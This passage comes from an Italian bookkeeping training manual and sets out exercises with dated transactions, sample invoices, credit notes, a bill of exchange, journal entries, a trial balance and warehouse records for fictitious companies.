|---------------------------------------|----------------------------------------|
| Aspetto ester.: A VISTA    | Colli 20 | Firma del destinatario                 |
|---------------------------------------|----------------------------------------|
|                                       | Data e ora ritiro | Firma vettore      |
|                                       | 02/01/20.. 10:30  |                    |
|                                       |                   |                    |
'--------------------------------------------------------------------------------'
```

- **3 gennaio**

  Si riceve la fattura del documento di trasporto arrivato il giorno precedente. La fattura viene protocollata con il numero 1, essendo la prima fattura di acquisto dell'anno:

```
.---------------------------------------------------------------------------.
| Tutto hardware                       | Spett.                             |
| ...                                  | Ditta per le esercitazioni         |
|                                      | ...                                |
|                                      | ...                                |
|                                      | PROTOCOLLO 1                       |
|---------------------------------------------------------------------------|
| Fattura n. 3/   del 02-01-20..                                            |
|---------------------------------------------------------------------------|
| pagamento Ricevuta bancaria 60 gg d.f.     banca di appoggio Banca X      |
|---------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo        |C.I.|
|------|--------------------------------------------------------------------|
| 77RT | luce per notebook  |    400 |       5,00 |      |        2000,00 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------|---------------------|-------------------------|
| Totale merce     2.000,00 |                     | Totale netto      2.000,00 |
|---------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|          2.000,00 |           20 |                 400,00 |          2.000,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale IVA        |
|                   |              |                        |            400,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale fattura    |
|                   |              |                        |          2.400,00 |
|-------------------------------------------------------|===================|
| Scadenze: 03/03        2.400,00                                           |
`---------------------------------------------------------------------------'
```

- **04 gennaio**

  Si inviano al cliente Alberoni 5 borse per notebook (prezzo di listino 20,00 € per unità) e, contestualmente, si emette una fattura accompagnatoria, per la quale si intende emettere successivamente una cambiale tratta a 30 giorni data fattura. Il trasporto avviene con vettore Calpurnio, a carico del cliente.

- **31 gennaio**

  Si emette la cambiale tratta della fattura del 4 gennaio e anche la distinta effetti relativa.

- **31 gennaio**

  Si aggiorna la contabilità generale per le fatture emesse.

- **31 gennaio**

  Si aggiorna la contabilità generale per l'emissione della cambiale tratta.

- **31 gennaio**

  Si stampa il giornale di contabilità generale del mese di gennaio.

- **31 gennaio**

  Si stampano i registri IVA del mese di gennaio.

- **31 gennaio**

  Si stampa il giornale di magazzino.

Si devono presentare i documenti seguenti:

1. fattura di vendita del 4 gennaio;

2. tratta riferita alla fattura del 4 gennaio;
3. stampa del giornale di contabilità generale;
4. stampa del registro IVA delle vendite;
5. stampa del registro IVA degli acquisti;
6. stampa del giornale di magazzino;

Azienda...
(int1)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.1 del 04 Gennaio 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTEBAG	Borsa per notebook	pz	5	20,00		100,00	20,00

Agente	Peso netto	Peso lordo	N.colli	Volume
			5	

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
100,00				100,00	20,00	1,50

Pagamento: Tratta 30 g.d.f.

Banca d'appoggio: Banca della valle, ABI 00000 CAB 0

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
100,00	IVA al 20%	20,00
1,50	ESCLUSA art. 15	0,00

TOTALE FATTURA

€ 121,50

Spedizione: A MEZZO VETTORE

Date di Scadenza e Importo Rate

03-02-2009	--	--	--
121,50			

Firma/vettore:
Corriere calpurnio, via Curva, 3, 31057 Silea, TV

Inizio trasporto: 04.01.2009 ore 08:04

Firma destinatario

Azienda... (int1)
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

CAMBIALE TRATTA N. 1

Data di pagamento	03-02-2009	euro	€ 121.50

pagherete la somma di
€ centoventuno/50

alla spett.le Azienda... (int1)

versata a mezzo

a SALDO della Ns. Fattura N. 1/1 del 04-01-2009 di € 121.50

INCASSARE TRAMITE	EGR.SIG./SPETT.LE	
Banca della valle ABI 0 CAB 0 ()	Alberoni & C. piazza Tiritera, 28 50018 Scandicci (FI) P.I. 01720430485	firma bolli a tergo 1.50

Azienda... (int1)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Libro Giornale dal 01-01-2009 al 31-01-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	02-01-2009	Riscossione da cliente.	197000020	Banca x c/c	1.000,00	
2			103000001	Alberoni & C.		1.000,00
3	03-01-2009	FATTURA DI ACQUISTO	212000001	Tutto hardware		2.400,00
4		n.3/1 del 02-01-2009	330000004	Merci c/acquisti	2.000,00	
5			106000001	IVA ns/credito	400,00	
6	04-01-2009	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	121,50	
7		n.1/1 del 04-01-2009	420000006	Merci c/vendite		100,00
8			215000001	IVA ns/debito		20,00
9			420000003	Rimborsi costi di vendita		1,50
10	31-01-2009	EMESSA CAMBIALE TRATTA	103000001	Alberoni & C.		121,50
11		n.1/1 del 31-01-2009	105000007	Cambiali all'incasso	121,50	
TOTALI :					3.643,00	3.643,00

Azienda... (int1)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 31 Gennaio 2009

GIORNALE DI MAGAZZINO dal 01 gennaio 2009 al 31 gennaio 2009

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
02-01-2009	5-CARICO PER ACQUISTO	USBLIGHT - Luce per notebook USB	DDT 7 del 2 gennaio prot. 1 del 02-01-2009	5,00	2.000,00	pz	400
04-01-2009	1-SCARICO PER VENDITA	NOTEBAG - Borsa per notebook	Fattura Immediata n.1 prot.1/1 del 04-01-2009	20,00	100,00	pz	-5

127.11 Verifica integrata guidata (int2) - prima parte

Questa verifica è più complessa delle precedenti; per poterla svolgere correttamente è necessario avere un'idea chiara di come funzionano le tre parti fondamentali della procedura: contabilità generale, contabilità di magazzino e la gestione delle vendite (ovvero la fatturazione).

Si deve fare attenzione a non confondere le stampe di questa verifica con quelle fatte in precedenza. Le stampe vanno tenute ordinatamente, senza doppioni: se per esempio una stampa di un certo documento viene eseguita più volte, si deve conservare sempre solo quella più aggiornata. I numeri dei documenti e i numeri di protocollo sono importanti: vanno controllati e non si possono assegnare a caso; anche le date sono importanti e non possono essere inserite a caso.

127.11.1 Articoli di magazzino

L'esercitazione riguarda la contabilità di un'azienda i cui fatti di gestione sono distribuiti nel mese di ottobre; tuttavia, prima di procedere con questa è necessario aggiungere due articoli di magazzino specificando la giacenza iniziale: si utilizza la funzione `Magazzino`, `Articoli`, `Nuovo articolo di magazzino`.

- codice Articolo: A
  descrizione: merce A
  codice a barre: 1000000000153
  unità di misura: pz
  prezzo di listino: 1,00 €
  IVA: 20%
  giacenza iniziale: 50000 unità
  valore giacenza iniziale: 25000,00 €
  ultimo costo di acquisto: 0,50 €
  conti economici: merci c/vendite, merci c/acquisti
- codice Articolo: B
  descrizione: merce B
  codice a barre: 1000000000160
  unità di misura: pz
  prezzo di listino: 1,00 €
  IVA: 20%
  giacenza iniziale: 10000 unità
  valore giacenza iniziale: 5000,00 €
  ultimo costo di acquisto: 0,50 €
  conti economici: merci c/vendite, merci c/acquisti

127.11.2 Inserimento della situazione iniziale

30 settembre

Viene effettuata una scrittura in contabilità generale, per attribuire le eccedenze iniziali. La scrittura assomiglia vagamente a un'apertura dei conti, dove però si aprono anche i conti economici. Il procedimento è lo stesso usato per iniziare l'esercitazione «coge3», nella sezione 127.4.

Bilancio di verifica dell'azienda in data 30 settembre.

Dare		Avere	
cliente Emme	7763,90	fornitore Delta	18138,24
cliente Yankee	6291,60	fornitore ERREX	21031,42
cliente Zeta	7211,61	fornitore Domenichelli	101,15
banca X c/c	4338,00	cambiali passive	5431,00
cambiali attive	12835,80	debito per TFRL	9000,00
denaro in cassa	6670,30	fondo svalutazione crediti	1317,00
macchine d'ufficio	8000,00	debiti per imposte	1100,00
fabbricati	80000,00	fondo ammortamento fabbricati	22515,00
		istituti previdenziali	1485,00
		debito per IVA	1000,00
		patrimonio netto	69903,10
merci c/acquisti	60487,00	merci c/vendite	50912,00
costi di consulenze	2285,70	ribassi e abbuoni attivi	102,00
ribassi e abbuoni passivi	83,00		
salari e stipendi	3121,00		
oneri sociali	2670,00		
costi di trasporto	278,00		
Totale dare	202035,91	Totale avere	202035,91

- Contabilizzare la situazione dei conti con una scrittura nel giornale di contabilità generale.

Si suggerisce di fare una scrittura simile all'esempio che si può vedere nella figura successiva, tenendo conto che va realizzata nel giornale di contabilità generale.

cliente Emme	situazione dei conti al 30 settembre	7763,90	
cliente Yankee		6291,60	
cliente Zeta		7211,61	
banca X c/c		4338,00	
bilancio di apertura			(calcolare)

cambiali attive	situazione dei conti al 30 settembre	12835,80	
denaro in cassa		6670,30	
macchine d'ufficio		8000,00	
fabbricati		80000,00	
bilancio di apertura			(calcolare)

merci c/acquisti	situazione dei conti al 30 settembre	60487,00	
costi di consulenze		2285,70	
ribassi e abbuoni passivi		83,00	
salari e stipendi		3121,00	
oneri sociali		2670,00	
costi di trasporto		278,00	
bilancio di apertura			(calcolare)

bilancio di apertura	situazione dei conti al 30 settembre	(calcolare)	
fornitore Delta			18138,24

fornitore Errex			21031,42
fornitore Domenichelli			101,15
cambiali passive			5431,00
debito per TFRL			9000,00

bilancio di apertura	situazione dei conti al 30 settembre	(calcolare)	
fondo svalutazione crediti			1317,00
debiti per imposte			1100,00
fondo ammortamento fabbricati			22515,00
istituti previdenziali			1485,00
debito per IVA			1000,00
patrimonio netto			69903,10

bilancio di apertura	situazione dei conti al 30 settembre	(calcolare)	
merci c/vendite			50912,00
ribassi abbuoni attivi			102,00

30 settembre

Viene effettuata la stampa del bilancio di verifica per controllare l'esattezza dei saldi inseriti tramite l'apertura dei conti, utilizzando la funzione *`Fine anno`*, *`Bilancio`*.

- Effettuare la stampa del bilancio di verifica.

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

BILANCIO DAL 01-01-2009 AL 30-09-2009

SITUAZIONE PATRIMONIALE AL 30-09-2009

ATTIVO				
102	IMMOBILIZZAZIONI MATERIALI			
000001	Terreni e fabbricati	80.000,00		
000005	Macchine d'ufficio	8.000,00		
			euro	88.000,00
103	CREDITI V/CLIENTI			
000004	Emme	7.763,90		
000005	Yankee	6.291,60		
000006	Zeta	7.211,61		
			euro	21.267,11
105	CREDITI COMMERCIALI			
000005	Cambiali attive	12.835,80		
			euro	12.835,80
108	DISPONIBILITÀ LIQUIDE			
000030	Denaro in cassa	6.670,30		
			euro	6.670,30
197	CONTI BANCARI			
000020	Banca x c/c	4.338,00		
			euro	4.338,00
		TOTALE ATTIVO		133.111,21
		Perdita	==>	17.910,70
		TOTALE		151.021,91

PASSIVO				
102	IMMOBILIZZAZIONI MATERIALI			
000011	Fondo ammortamento fabbricati	22.515,00		
			euro	22.515,00
105	CREDITI COMMERCIALI			
000040	Fondo svalutazione crediti	1.317,00		
			euro	1.317,00
210	PATRIMONIO NETTO			
000001	Patrimonio netto	69.903,10		
			euro	69.903,10
212	DEBITI V/FORNITORI			
000004	Delta	18.138,24		
000005	Errex	21.031,42		
000006	Domenichelli	101,15		
			euro	39.270,81
214	DEBITI COMMERCIALI			
000020	Cambiali passive	5.431,00		
			euro	5.431,00
215	DEBITI DIVERSI			
000003	Debiti per imposte	1.100,00		
000005	Debiti per IVA	1.000,00		
			euro	2.100,00

Azienda... (int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2 di 2

BILANCIO DAL 01-01-2009 AL 30-09-2009

Conto	Descrizione	Importo		Totale
217	TRATTAMENTO FINE RAPPORTO			
000001	Debiti per TFRL	9.000,00		
			euro	9.000,00
588	CONTI TRANSITORI			
000011	Istituti previdenziali	1.485,00		
			euro	1.485,00
			TOTALE PASSIVO	151.021,91

CONTO ECONOMICO DAL 01-01-2009 AL 30-09-2009

Conto	Descrizione	Importo		Totale
RICAVI				
330	COSTI DELLE MATERIE/MERCI			
000011	Ribassi e abbuoni attivi	102,00		
			euro	102,00
420	VALORE DELLA PRODUZIONE			
000006	Merci c/vendite	50.912,00		
			euro	50.912,00
			TOTALE RICAVI	51.014,00
			Perdita ==>	17.910,70
			TOTALE	68.924,70
COSTI				
315	COSTI PER SERVIZI			
000001	Costi di trasporto	278,00		
000004	Consulenze	2.285,70		
			euro	2.563,70
322	COSTI PER IL PERSONALE			
000001	Salari e stipendi	3.121,00		
000002	Oneri sociali	2.670,00		
			euro	5.791,00
330	COSTI DELLE MATERIE/MERCI			
000004	Merci c/acquisti	60.487,00		
			euro	60.487,00
420	VALORE DELLA PRODUZIONE			
000011	Ribassi e abbuoni passivi	83,00		
			euro	83,00
			TOTALE COSTI	68.924,70

- Controllare tutti i conti del bilancio di verifica e, se necessario, fare le correzioni in prima nota ripetendo poi la stampa.

127.11.3 Le operazioni dal 1 ottobre al 31 ottobre

2 ottobre

Ricevuta una fattura accompagnatoria dalla ditta Errex, con il contenuto seguente:

```
.-----------------------------------------------------------------------------.
| E R R E X   s.r.l.                    | Spettabile                          |
| ...                                   | Ditta per le esercitazioni          |
|                                       | ...                                 |
|                                       | ...                                 |
|                                       |                                     |
|-----------------------------------------------------------------------------|
| Fattura accompagnatoria n. 123/   del 02 ottobre                            |
|-----------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f. banca di appoggio: banca della valle |
|-----------------------------------------------------------------------------|
|codice| descrizione         |quantità|pr. unitario|sconto|importo         |C.I.|
|------|---------------------|--------|------------|------|----------------|----|
| 7856 | Articolo «A»        |   2400 |       0,60 |      |       1.440,00 | 20 |
|      |                     |        |            |      |                |    |
|      |                     |        |            |      |                |    |
|      |                     |        |            |      |                |    |
|----------------------------|---------------------|--------------------------|
| Totale merce     1.440,00 | Sconto 10%   144,00 | Totale netto      1.296,00 |
|-----------------------------------------------------------------------------|
| Imponibile       | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|         1.296,00 |          20% |                  259,20 |          1.296,00 |
|                  |              |                         |-------------------|
|                  |              |                         | Totale IVA        |
|                  |              |                         |            259,20 |
|                  |              |                         |-------------------|
|                  |              |                         | Totale fattura    |
|                  |              |                         |          1.555,20 |
|---------------------------------------------------------|===================|
| Scadenze: 02 dicembre    1.555,20                                           |
|-----------------------------------------------------------------------------|
| Trasporto a cura del DESTINATARIO     | Causale del trasporto: VENDITA      |
|---------------------------------------|-------------------------------------|
| Data e ora inizio: 02 ottobre 10:30   | Firma del conducente                |
|---------------------------------------|-------------------------------------|
| Aspetto ester.: cartone    | Colli 03 | Firma del destinatario              |
|---------------------------------------|-------------------------------------|
| Dati del vettore                      | Data e ora ritiro | Firma vettore   |
|                                       |                   |                 |
|                                       |                   |                 |
'-----------------------------------------------------------------------------'
```

- Registrare la fattura di acquisto in contabilità generale (prima nota).
- Registrare la fattura, in quanto accompagnatoria, in contabilità di magazzino.

2 ottobre

Pagate a mezzo banca spese di trasporto per 101,15 € alla ditta Domenichelli.

- Registrare il pagamento in contabilità generale.

fornitore Domenichelli	*pagamento...*	101,15	
banca X c/c			101,15

2 ottobre

Ricevuto assegno di 3240,00 € dalla ditta Yankee a saldo fattura del 15 settembre di 3600,00 € (abbuono qualitativo); la differenza viene regolata nei giorni successivi con una nota di accredito.

- Registrare il ricevimento dell'assegno in contabilità generale.

assegni	*riscossione...*	3240,00	
cliente Yankee			3240,00

3 ottobre

Emessa fattura accompagnatoria per vendita alla ditta Zeta, per la quale si concorda un pagamento con rimessa diretta a 30 giorni dalla data della fattura. Il trasporto è a cura del destinatario.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
articolo B	2850	1,00	2850,00
IVA 20%			570,00
Totale fattura			3420,00

- Emettere la fattura accompagnatoria.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.1 del 03 Ottobre 2009
Pagina 1 di 1

Spett.le Zeta
via Arbe, 50
20100 Milano (MI)
C.F. e P.I. 01920430483

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
B	merce B	pz	2850	1,00		2.850,00	20,00

Agente	Peso netto	Peso lordo	N.colli	Volume

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
2.850,00				2.850,00	570,00	

Pagamento: Rimessa diretta 30 g.d.f.

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
2.850,00	IVA al 20%	570,00

TOTALE FATTURA

€ 3.420,00

Date di Scadenza e Importo Rate

Spedizione: A MEZZO DESTINATARIO

Firma/vettore:

Inizio trasporto: 03.10.2009 ore 08:46

Firma destinatario

3 ottobre

Inviata nota di accredito alla ditta Yankee per l'abbuono qualitativo concesso in occasione del pagamento del 2 ottobre. Nell'inserimento della nota di accredito si specifica il tipo di pagamento nullo, corrispondente alla descrizione «––»; inoltre, il conto economico associato all'abbuono qualitativo deve essere «ribassi e abbuoni passivi».

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Abbuono qualitativo			300,00
IVA 20%			60,00
Totale nota di accredito			360,00

- Emettere la nota di accredito.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Nota di credito n.1 del 03 Ottobre 2009
Pagina 1 di 1

Spett.le Yankee
via dei coniugi, 15
31100 Treviso (TV)
C.F. e P.I. 00496700261

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
	Abbuono qualitativo					300,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
300,00				300,00	60,00	

Pagamento: --

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
300,00	IVA al 20%	60,00

TOTALE FATTURA

€ 360,00

Date di Scadenza e Importo Rate

03-10-2009	--	--	--
360,00			

Totale dei riporti

5 ottobre

Versato in banca l'assegno ricevuto il 2 ottobre dalla ditta Yankee e in contanti 3850,00 € per un totale di 7090,00 €.

- Registrare il versamento dell'assegno e del contante in contabilità generale.

5 ottobre

Il cliente Zeta paga anticipatamente la fattura del 3 ottobre con un assegno. Per questo gli viene concesso uno sconto del 2 %. In un momento successivo si provvede a inviare la nota di accredito; per ora ci si occupa soltanto dell'incasso. L'importo pagato dal cliente è di 3351,60 €.

- Registrare il ricevimento dell'assegno in contabilità generale.

5 ottobre

Inviata alla ditta Zeta nota di accredito per lo sconto relativo alla vendita del 3 ottobre. Nell'inserimento della nota di accredito si specifica il tipo di pagamento nullo, corrispondente alla descrizione «−−»; inoltre, il conto economico associato allo sconto è «ribassi è abbuoni passivi».

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
sconto per pagamento anticipato			57,00
IVA 20%			11,40
Totale nota di accredito			68,40

- Emettere la nota di accredito.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Nota di credito n.2 del 05 Ottobre 2009
Pagina 1 di 1

Spett.le Zeta
via Arbe, 50
20100 Milano (MI)
C.F. e P.I. 01920430483

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
	Sconto per pagamento condizionato.					57,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
57,00				57,00	11,40	

Pagamento: --

Castelletto I.V.A.		
Imponibile	Aliquota	Imposta
57,00	IVA al 20%	11,40

TOTALE FATTURA

€ 68,40

Date di Scadenza e Importo Rate			
05-10-2009 68,40	--	--	--

Totale dei riporti

6 ottobre

Versato in banca l'assegno della ditta Zeta, ricevuto il 5 ottobre.

- Registrare l'operazione in contabilità generale.

6 ottobre

Ricevuta merce dalla ditta Delta, come evidenziato dal documento di trasporto seguente:

```
.--------------------------------------------------------------------------------.
| D E L T A   s.p.a.                    | Spett.                                 |
| ...                                   | Ditta per le esercitazioni             |
|                                       | ...                                    |
|                                       | ...                                    |
|                                       | ...                                    |
|--------------------------------------------------------------------------------|
| Documento di trasporto n. 243/   del 06 ottobre                                |
|--------------------------------------------------------------------------------|
|codice| descrizione        | quantità | prezzo unitario                         |
|------|--------------------|----------|-----------------------------------------|
| 97TR | Articolo «B»       |    10680 |                                    0,55 |
|      |                    |          |                                         |
|      |                    |          |                                         |
|      |                    |          |                                         |
|--------------------------------------------------------------------------------|
| Trasporto a cura del DESTINATARIO     | Causale del trasporto: VENDITA         |
|---------------------------------------|----------------------------------------|
| Data e ora inizio: 06 ottobre 10:30   | Firma del conducente                   |
|---------------------------------------|----------------------------------------|
| Aspetto ester.: cartone    | Colli 11 | Firma del destinatario                 |
|---------------------------------------|----------------------------------------|
| Dati del vettore                      | Data e ora ritiro | Firma vettore      |
|                                       |                   |                    |
|                                       |                   |                    |
`--------------------------------------------------------------------------------'
```

- Registrare il carico della merce per acquisto in contabilità di magazzino.

6 ottobre

Presentate allo sconto cambiali delle ditte Emme e Zeta per complessive 5680,00 €.

- Registrare la presentazione delle cambiali allo sconto in contabilità generale.

Cambiali allo sconto	*presentazione cambiali allo sconto...*	5680,00	
Cambiali attive			5680,00

7 ottobre

Scontate cambiali delle ditte Emme e Zeta presentate il 6 ottobre per complessive 5680,00 €; sconto 18 % per 68 giorni complessivi. Sconto = 193,12; netto Ricavo = 5486,88 €.

- Registrare lo sconto cambiali in contabilità generale.

Banca X c/c	*Sconto cambiali...*	5486,88	
Oneri finanziari diversi		193,12	
Cambiali allo sconto			5680,00

8 ottobre

Emessa fattura accompagnatoria sulla ditta Emme per vendita di merce A. La merce è stata spedita con un nostro mezzo e quindi si addebitano le spese di trasporto non documentate. Il pagamento della fattura è previsto con l'emissione di cambiale tratta a 30 giorni dalla data della fattura; la banca di appoggio è «banca del mare».

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo A	6850	1,00	6850,00
Spese di trasporto e accessorie non documentate			135,00
Totale			6985,00
IVA 20%			1397,00
bolli (IVA esclusa art. 15)			101,85
Totale fattura			8483,85

- Emettere la fattura.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.2 del 08 Ottobre 2009
Pagina 1 di 1

Spett.le Emme
viale Libertà, 17
10100 Torino (TO)
C.F. e P.I. 02513310017

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
A	merce A	pz	6850	1,00		6.850,00	20,00

Agente	Peso netto	Peso lordo	N.colli	Volume

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
6.850,00			135,00	6.985,00	1.397,00	101,80

Pagamento: Tratta 30 g.d.f.

Banca d'appoggio: Banca del mare, ABI 00000 CAB 0

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
6.985,00	IVA al 20%	1.397,00
101,80	ESCLUSA art. 15	0,00

TOTALE FATTURA **€ 8.483,80**

Spedizione: A MEZZO MITTENTE

Date di Scadenza e Importo Rate

07-11-2009	--	--	--
8.483,80			

Firma/vettore:

Inizio trasporto: 08.10.2009 ore 09:43

Firma destinatario

9 ottobre

Ricevuta fattura dalla ditta Delta per interessi di mora. Il conto economico da usare per gli interessi di mora è «interessi passivi verso fornitori».

```
.----------------------------------------------------------------------------.
| D E L T A   s.p.a.                    | Spett.                             |
| ...                                   | Ditta per le esercitazioni         |
|                                       | ...                                |
|                                       | ...                                |
|                                       |                                    |
|----------------------------------------------------------------------------|
| Fattura n. 147/   del 09 ottobre                                           |
|----------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f. banca di appoggio: banca della valle |
|----------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo          |C.I.|
|------|--------------------|--------|------------|------|-----------------|----|
|      | INTERESSI DI MORA  |        |            |      |           57,95 | 15 |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|---------------------------|---------------------|----------------------------|
| Totale merce        57,95 |                     | Totale netto        57,95 |
|----------------------------------------------------------------------------|
| Imponibile       | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|            57,95 |              |       Esclusa art. 15 |             57,95 |
|                  |              |                        |-------------------|
|                  |              |                        | Totale IVA        |
|                  |              |                        |              0,00 |
|                  |              |                        |-------------------|
|                  |              |                        | Totale fattura    |
|                  |              |                        |             57,95 |
|--------------------------------------------------------|===================|
| Scadenze: 09 dicembre   57,95                                              |
'----------------------------------------------------------------------------'
```

- Contabilizzare gli interessi di mora in contabilità generale.

9 ottobre

Pagati oneri sociali a carico del datore di lavoro tramite banca per 1485,00 €.

- Registrare il pagamento in contabilità generale.

Istituti previdenziali	*pagamento oneri sociali a carico dell'azienda*	1485,00	
Banca X c/c			1485,00

10 ottobre

Inviati all'incasso s.b.f. cambiali per 3635,00 €.

- Registrare l'invio all'incasso delle cambiali attive in contabilità generale.

11 ottobre

Ricevuto accredito del valore nominale delle cambiali inviate all'incasso s.b.f. (salvo buon fine).

- Registrare l'accredito del valore nominale delle cambiali incassate, in contabilità generale. Per il momento non si indicano oneri di alcun tipo.

11 ottobre

Ricevuto addebito per commissioni su cambiali all'incasso 8,90 €.

- Registrare l'addebito in contabilità generale.

Costi di incasso	*Addebito commissioni...*	8,90	
Banca X c/c			8,90

12 ottobre

Ricevute merci e fattura dalla ditta Errex.

```
.--------------------------------------------------------------------------------.
| E R R E X   s.r.l.                    | Spett.                                 |
| ...                                   | Ditta per le esercitazioni             |
|                                       | ...                                    |
|                                       | ...                                    |
|                                       |                                        |
|--------------------------------------------------------------------------------|
| Fattura accompagnatoria n. 154/   del 12 ottobre                               |
|--------------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f. banca di appoggio: banca della valle |
|--------------------------------------------------------------------------------|
|codice| descrizione         |quantità|pr. unitario|sconto|importo         |C.I.|
|------|---------------------|--------|------------|------|----------------|----|
| 7857 | Articolo «B»        |   4770 |       0,50 |      |       2.385,00 | 20 |
|      |                     |        |            |      |                |    |
|      |                     |        |            |      |                |    |
|      |                     |        |            |      |                |    |
|----------------------------|---------------------|-----------------------------|
| Totale merce     2.385,00 | Sconto              | Totale netto      2.385,00 |
|--------------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|         2.385,00 |          20% |                  477,00 |          2.385,00 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale IVA        |
|                   |              |                         |            477,00 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale fattura    |
|                   |              |                         |          2.862,00 |
|------------------------------------------------------------|===================|
| Scadenze: 12 dicembre   2.862,00                                               |
|--------------------------------------------------------------------------------|
| Trasporto a cura del MITTENTE          | Causale del trasporto: VENDITA        |
|---------------------------------------|----------------------------------------|
| Data e ora inizio: 12 ottobre 09:30   | Firma del conducente                   |
|---------------------------------------|----------------------------------------|
| Aspetto ester.: cartone    | Colli 06 | Firma del destinatario                 |
|---------------------------------------|----------------------------------------|
| Dati del vettore                      | Data e ora ritiro | Firma vettore      |
|                                       |                   |                    |
|                                       |                   |                    |
'--------------------------------------------------------------------------------'
```

- Contabilizzare l'acquisto delle merci in contabilità generale.
- Contabilizzare il carico della merce in contabilità di magazzino.

13 ottobre

Emessa fattura accompagnatoria alla ditta Yankee, prevedendo l'emissione di cambiale tratta a 30 giorni dalla data della fattura, con banca di appoggio «banca della valle». Il trasporto avviene con mezzo del cliente.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo A	175	1,00	175,00
IVA 20%			35,00
bolli (IVA esclusa art. 15)			2,60
Totale fattura			212,60

- Emettere la fattura accompagnatoria.

Azienda...
(int2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.3 del 13 Ottobre 2009
Pagina 1 di 1

Spett.le Yankee
via dei coniugi, 15
31100 Treviso (TV)
C.F. e P.I. 00496700261

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
A	merce A	pz	175	1,00		175,00	20,00

Agente	Peso netto	Peso lordo	N.colli	Volume

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
175,00				175,00	35,00	2,60

Pagamento: Tratta 30 g.d.f.

Banca d'appoggio: Banca della valle, ABI 00000 CAB 0

Spedizione: A MEZZO DESTINATARIO

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
175,00	IVA al 20%	35,00
2,60	ESCLUSA art. 15	0,00

TOTALE FATTURA **€ 212,60**

Date di Scadenza e Importo Rate

12-11-2009	--	--	--
212,60			

Firma/vettore:

Inizio trasporto: 13.10.2009 ore 10:28

Firma destinatario

17 ottobre

Ricevute merci dalla ditta Delta.

```
.---------------------------------------------------------------------------------.
| D E L T A   s.p.a.                     | Spett.                                   |
| ...                                    | Ditta per le esercitazioni               |
|                                        | ...                                      |
|                                        | ...                                      |
|                                        | PROTOCOLLO 043                           |
|---------------------------------------------------------------------------------|
| Documento di trasporto n. 264/   del 17 ottobre                                 |
|---------------------------------------------------------------------------------|
